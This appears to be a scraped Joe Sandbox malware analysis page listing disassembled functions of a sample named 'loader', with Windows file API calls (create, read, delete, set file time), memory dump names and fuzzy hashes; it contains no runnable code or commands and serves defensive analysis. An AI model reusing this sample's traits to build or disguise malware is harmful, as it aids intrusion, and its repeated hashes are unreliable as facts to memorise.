Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: bb05d627ec96265d77453a747f9edce67a488d3facc693ee0fdf6f12a2ee456d
Instruction ID: ab6912020ee8a88da56bcce84b7fcf57033c7f87319c6a2d5f1aed8393cb9aa6
Opcode Fuzzy Hash: bb05d627ec96265d77453a747f9edce67a488d3facc693ee0fdf6f12a2ee456d
Instruction Fuzzy Hash: 8B318F31208355AFDB18CF24D818BAAB7A7EF94715F04451DF9819B390CBB5AD48CBE2

Function 006313DC Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006313E1

Part of subcall function 00635E37: __EH_prolog.LIBCMT ref: 00635E3C

Part of subcall function 0063CE40: __EH_prolog.LIBCMT ref: 0063CE45

Part of subcall function 0063B505: __EH_prolog.LIBCMT ref: 0063B50A

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: bf5c9e0afbce8b49889361044820c38a62340ca8ab78620a14af735ef233892b
Instruction ID: cecac6bcce1530451e5ee174edc8853d51a9c79dcde8b48db62df267e08f2f07
Opcode Fuzzy Hash: bf5c9e0afbce8b49889361044820c38a62340ca8ab78620a14af735ef233892b
Instruction Fuzzy Hash: 86419CB0905B409EE764CF398885AE6FBE6BF19310F40492ED5FF87282C7322644CB54

Function 04FF66F2 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

RtlExitUserProcess.NTDLL(?,77E8F3B0,000000FF), ref: 04FF66FF

Memory Dump Source

Source File: 00000000.00000002.2189140272.0000000004FF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ff0000_loader.jbxd

Similarity

API ID: ExitProcessUser
String ID:
API String ID: 3902816426-0
Opcode ID: a21f459eca23095298578a296e7741b1a3f6a614481b117f0abf2ed8d52fcc33
Instruction ID: e8e8ebfc6a81059480712fca990e4888a962e60b22b66d3dd2555cb53817a352
Opcode Fuzzy Hash: a21f459eca23095298578a296e7741b1a3f6a614481b117f0abf2ed8d52fcc33
Instruction Fuzzy Hash: 7A310AB2D1060CAFDB01CFD5C949BDEBBB9FB14336F21461AE521A6190D7785A098F60

Function 0064B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0064B098

Part of subcall function 006313DC: __EH_prolog.LIBCMT ref: 006313E1

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 273a76851dc0ad3e7df94caa7556aed50512bf04afc413ee91f4a1cb4e9e518a
Instruction ID: 41be3f405a026abdb2f7a2f006148ae1917cdca8193693642914e3b8fc4b0775
Opcode Fuzzy Hash: 273a76851dc0ad3e7df94caa7556aed50512bf04afc413ee91f4a1cb4e9e518a
Instruction Fuzzy Hash: EB318D71C00249DFDF15DFA8C9519EEBBB6AF09304F10449EE409B7242D735AE04CBA5

Function 00639DA2 Relevance: 1.6, APIs: 1, Instructions: 83timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?), ref: 00639E70

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 3b48d4a14e57ebf59311d0476aa07977eecd69c29351a85172149493f311c0d0
Instruction ID: 030ab16d6cad6122e986abf4c09ad9a3130ffd3ec263c584811d5162a37457d1
Opcode Fuzzy Hash: 3b48d4a14e57ebf59311d0476aa07977eecd69c29351a85172149493f311c0d0
Instruction Fuzzy Hash: 7321F031248686ABC714DF74C892AABBBE6AF56304F08481CF4C5C7241D3A8E90C8FA1

Function 0063966E Relevance: 1.6, APIs: 1, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00639F27,?,?,0063771A), ref: 006396E6

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b76d5bf46ad1a90cd8a36084b82259bb78371cc5ce56831ab462a344ca648967
Instruction ID: 706278d0c7f333081b1c1718f4866777d63564fa084f263a692b254e1c209196
Opcode Fuzzy Hash: b76d5bf46ad1a90cd8a36084b82259bb78371cc5ce56831ab462a344ca648967
Instruction Fuzzy Hash: 3021C4715043446FF3708A65CD8ABE777DDEB4A320F100A19FA96C22D1C7B4A8448AB1

Function 00639785 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00000000,?,00000000,-00000858,?,-00000858,00000000,00639C22,?,?,00000000,00000800,?), ref: 006397AD

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a3bd1bc98810bb5d74c0de55c844f1984626b45fefd556c24bcc118d38132323
Instruction ID: d9bea633e21780c7074c49bdc3f5d1bedea5c814072dbd4a777dcf4c95c738d3
Opcode Fuzzy Hash: a3bd1bc98810bb5d74c0de55c844f1984626b45fefd556c24bcc118d38132323
Instruction Fuzzy Hash: E7113C31914614EBDF205F65C804AAA37BBFB92361F108929E42685390D7F49E459FF1

Function 00639E80 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00639EC7

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7603ef04ee22404561c0e20b0fe365835ce19a310a8fa79e58c2cba1e37df999
Instruction ID: 0c38dfbc7f73f1ada8e41f4cd7cd11a9957fe5dc6d7140d38be8c16935c349a8
Opcode Fuzzy Hash: 7603ef04ee22404561c0e20b0fe365835ce19a310a8fa79e58c2cba1e37df999
Instruction Fuzzy Hash: 5A118231600710ABD724CA68C845BA6B7EAAF45360F504A29E553D27D0D7F0ED49CBB0

Function 0063A2B2 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0063C27E: _wcslen.LIBCMT ref: 0063C284

CreateDirectoryW.KERNELBASE(00000001,00000000,00000001,?,?,0063A175,?,00000001,00000000,?,?), ref: 0063A2D9

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CreateDirectory_wcslen
String ID:
API String ID: 2011010700-0
Opcode ID: ddf6060514b4ef6eaf84c052379667353bc47010ecda74082cc262472b5a07c7
Instruction ID: c01d19bd58079e8418fe813b380866615f65b2e529ce685a592b9b110c678697
Opcode Fuzzy Hash: ddf6060514b4ef6eaf84c052379667353bc47010ecda74082cc262472b5a07c7
Instruction Fuzzy Hash: 2601D8315002206AFF21AFF58C49FFE334AAF09780F044418F981E6281DB54CB81E6F6

Function 00639215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0063921A

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0381a9818bd6f7da34eb563a7f3e550390d768328f4dce52ef5f40e1d7b59bf3
Instruction ID: 0547cf428af2a546c74255cfa806673961372a19d221135e47c5161d41236b25
Opcode Fuzzy Hash: 0381a9818bd6f7da34eb563a7f3e550390d768328f4dce52ef5f40e1d7b59bf3
Instruction Fuzzy Hash: A701A573910928ABCF11ABA8CC819DFB773BF88750F014119E812BB212DA748E04CAF4

Function 00658E54 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00658E75

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 220839149369c8cfd4168b61c2d3adc7fb742a74cdec9b001d59c2af6fcaf4ef
Instruction ID: 28b00c87ac176b5ba5b7b8c963dbfbf6bc4b5d16e43e7b16db12fdf957d9ab53
Opcode Fuzzy Hash: 220839149369c8cfd4168b61c2d3adc7fb742a74cdec9b001d59c2af6fcaf4ef
Instruction Fuzzy Hash: 0CF068326011156EDB212A256C06BAF377B8F81B73F144119FD14B7A91DF609D0985A4

Function 00635ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00635AC2

Part of subcall function 0063B505: __EH_prolog.LIBCMT ref: 0063B50A

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ef5cdc6d07f4c175adf7e9afcd273c464769d3630e711562c44f771142262c31
Instruction ID: 042af95aac3476a31421d0b32ca881a67ca3d478d9db64fa0974c9014999b714
Opcode Fuzzy Hash: ef5cdc6d07f4c175adf7e9afcd273c464769d3630e711562c44f771142262c31
Instruction Fuzzy Hash: C801AF308107A0DAE725EBB8C051BDDFBE5EF68304F51848DA55753682CFB41B08D7A6

Function 0063A4ED Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000001,00000000,00000001,?,0063A325,00000001,006370E6,?,0063A175,?,00000001,00000000,?,?), ref: 0063A501

Part of subcall function 0063BB03: _wcslen.LIBCMT ref: 0063BB27

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: AttributesFile_wcslen
String ID:
API String ID: 2048169685-0
Opcode ID: 0372bbf23c2efe84df95a65cea8cb76c206ababc3b8213524b511ac03b8930e1
Instruction ID: 52442ff83e824d0034f745cf6a10fa54c5a95d46b10a71f9fdf7a0cf78eb2dff
Opcode Fuzzy Hash: 0372bbf23c2efe84df95a65cea8cb76c206ababc3b8213524b511ac03b8930e1
Instruction Fuzzy Hash: 84F06D32250219BBDF015FA0DC45FDA376EBF04395F488065F989D62A0DB71DAD8EBA0

Function 0063A1E0 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,0063977F,?,?,006395CF,00000000,00662641,000000FF), ref: 0063A1F1

Part of subcall function 0063BB03: _wcslen.LIBCMT ref: 0063BB27

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: DeleteFile_wcslen
String ID:
API String ID: 3339486230-0
Opcode ID: 44c6a3b79192c8787b0cc302f02f8a1dc0e67d3aa508b32622c5d74286871161
Instruction ID: d6727e364f95e8efb7030b0ab484ef6028877fdbee58e184a39611f4ed5b2ded
Opcode Fuzzy Hash: 44c6a3b79192c8787b0cc302f02f8a1dc0e67d3aa508b32622c5d74286871161
Instruction Fuzzy Hash: 78E092311502196BDB415F60DC45FDA375EBB08381F484025B945D2150EB61DE88EAA4

Function 0063A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0063A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000000,?,0063A592,000000FF,?,?), ref: 0063A6C4
Part of subcall function 0063A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,0063A592,000000FF,?,?), ref: 0063A6F2

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0063A598

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Find$FileFirst$Close
String ID:
API String ID: 2810966245-0
Opcode ID: 5eb133cd6aaac5748ea965405b7f21bfa8c3c6c1c510a0fc27d619be906734ab
Instruction ID: cd34048ffe75d0370737baa8eba2b87d769198299fda03dac7389bfb4a62eb3d
Opcode Fuzzy Hash: 5eb133cd6aaac5748ea965405b7f21bfa8c3c6c1c510a0fc27d619be906734ab
Instruction Fuzzy Hash: 52F0A73140C790ABCB6257F48905BCB7B926F1A331F048A4DF1FD52196C3755099ABB3

Function 0064F4E7 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMT ref: 0064F530

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
